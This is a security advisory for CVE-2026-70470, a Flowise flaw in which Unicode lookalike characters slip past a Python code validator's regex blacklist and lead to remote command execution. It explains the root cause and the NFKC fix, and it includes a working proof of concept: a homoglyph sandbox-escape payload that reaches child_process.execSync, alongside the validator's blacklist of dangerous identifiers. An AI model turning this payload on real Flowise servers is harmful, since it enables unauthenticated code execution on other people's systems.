criticalCVE-2026-70470Aug 4, 2026

CVE-2026-70470: Flowise Pyodide Validator Unicode Homoglyph Bypass RCE

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Flowise's Python code validator can be tricked with Unicode lookalike characters, letting anyone who can reach a CSV Agent or Airtable Agent chatflow run arbitrary OS commands on the server.

Packageflowise
Ecosystemnpm
Affected<= 3.1.2
Fixed in3.1.3
CVE-2026-70470: Flowise Pyodide Validator Unicode Homoglyph Bypass RCE

The problem

The validatePythonCodeForDataFrame function in packages/components/src/pythonCodeValidator.ts guards every pyodide.runPythonAsync call in CSVAgent and AirtableAgent. It uses a ~30-rule JavaScript regex blacklist to block dangerous identifiers such as __class__, __builtins__, and import.

Two flaws combine into a full bypass. First, JavaScript \b word-boundary assertions are ASCII-only; a Unicode letter like U+1D41A (mathematical bold small 'a') is not in [A-Za-z0-9_], so \b__class__\b never matches __cl𝐚ss__. Second, Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time, so __cl𝐚ss__ is parsed as __class__.

The validator sees only the raw string and passes it; the Python runtime sees the normalized, dangerous form.

Any user who can reach a public chatflow using CSV_Agent or Airtable_Agent, including unauthenticated users, can reach the vulnerable sink. This effectively reopens GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f, both previously scored 9.8 critical.

Proof of concept

A working proof-of-concept for CVE-2026-70470 in flowise, with the exact payload below.

javascript
// Run with: npm install pyodide && node poc.js
// Mirrors the exact validator + pyodide.runPythonAsync path in CSVAgent.ts / AirtableAgent.ts

const { loadPyodide } = require('pyodide')

const FORBIDDEN_PATTERNS = [
  { pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g },
  { pattern: /\beval\s*\(/g },             { pattern: /\bexec\s*\(/g },
  { pattern: /\bcompile\s*\(/g },          { pattern: /\b__import__\s*\(/g },
  { pattern: /\bopen\s*\(/g },             { pattern: /\bgetattr\s*\(/g },
  { pattern: /\bos\./g },                  { pattern: /\bsubprocess\./g },
  { pattern: /\bsys\./g },                 { pattern: /\bsocket\./g },
  { pattern: /\burllib\./g },              { pattern: /\brequests\./g },
  { pattern: /\b__builtins__\b/g },        { pattern: /\b__class__\b/g },
  { pattern: /\b__subclasses__\s*\(/g },  { pattern: /\b__bases__\b/g },
  { pattern: /\b__mro__\b/g },             { pattern: /\b__globals__\b/g },
  { pattern: /\b__code__\b/g },            { pattern: /\b__dict__\b/g },
]
const validate = (code) =>
  FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })

// Unicode homoglyph payload:
// U+1D41A = mathematical bold small 'a'  -> NFKC -> 'a'
// U+1D42E = mathematical bold small 'u'  -> NFKC -> 'u'
// JS regex \b does NOT match at the boundary before/after these code points,
// so all blacklist patterns miss. Python NFKC-normalizes them back to ASCII at parse time.
const payload = `
cls = ().__cl\u{1D41A}ss__
base = cls.__b\u{1D41A}se__
subs = base.__subcl\u{1D41A}sses__()
for c in subs:
    if c.__name__ == 'catch_warnings':
        cw = c()
        bi = cw._module.__b\u{1D42E}iltins__
        imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2
        imp = bi[imp_name]
        js_mod = imp(chr(106)+chr(115))
        cp_name = 'child' + chr(95) + 'process'
        cp = js_mod.process.mainModule.require(cp_name)
        opts = js_mod.Object.new(); opts.encoding = 'utf8'
        result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)
        break
str(result)
`

;(async () => {
  console.log('validator passes:', validate(payload))   // true
  const py = await loadPyodide()
  console.log(await py.runPythonAsync(payload))
  // uid=0(root) gid=0(root) groups=0(root)
  // <hostname>
  // FLOWISE_RCE_CONFIRMED
})()

The root cause is CWE-184 (Incomplete List of Disallowed Inputs) expressed across two layers. The JavaScript validator tests the raw source string, but JavaScript \b word boundaries are computed against the ASCII character class [A-Za-z0-9_] only. A Unicode letter such as U+1D41A ('mathematical bold small a') is treated as a non-word character, so the boundary assertion before or after it never matches, and every \b-anchored pattern in the blacklist silently passes.

Python 3's tokenizer applies NFKC normalization to every identifier before parsing (PEP 3131), so __cl𝐚ss__ becomes __class__ by the time the bytecode compiler sees it. The validator and the runtime therefore operate on different representations of the same string.

The patch (commit f4e2794, PR #6499) adds a pre-validation NFKC normalization step to pythonCodeValidator.ts, applying code = code.normalize('NFKC') before any pattern is tested. After normalization the homoglyph identifiers collapse back to their ASCII forms and the existing blacklist patterns match them correctly.

The fix ensures the validator and the Python runtime see the same normalized string.

The fix

Upgrade to Flowise 3.1.3 (commit f4e2794, PR #6499). The patch adds code = code.normalize('NFKC') at the top of validatePythonCodeForDataFrame so the validator always inspects the same NFKC-normalized string that Python's tokenizer would parse. No configuration change is needed; updating the package is sufficient.

Reporter not attributed.

References: [1][2][3][4][5]

Related research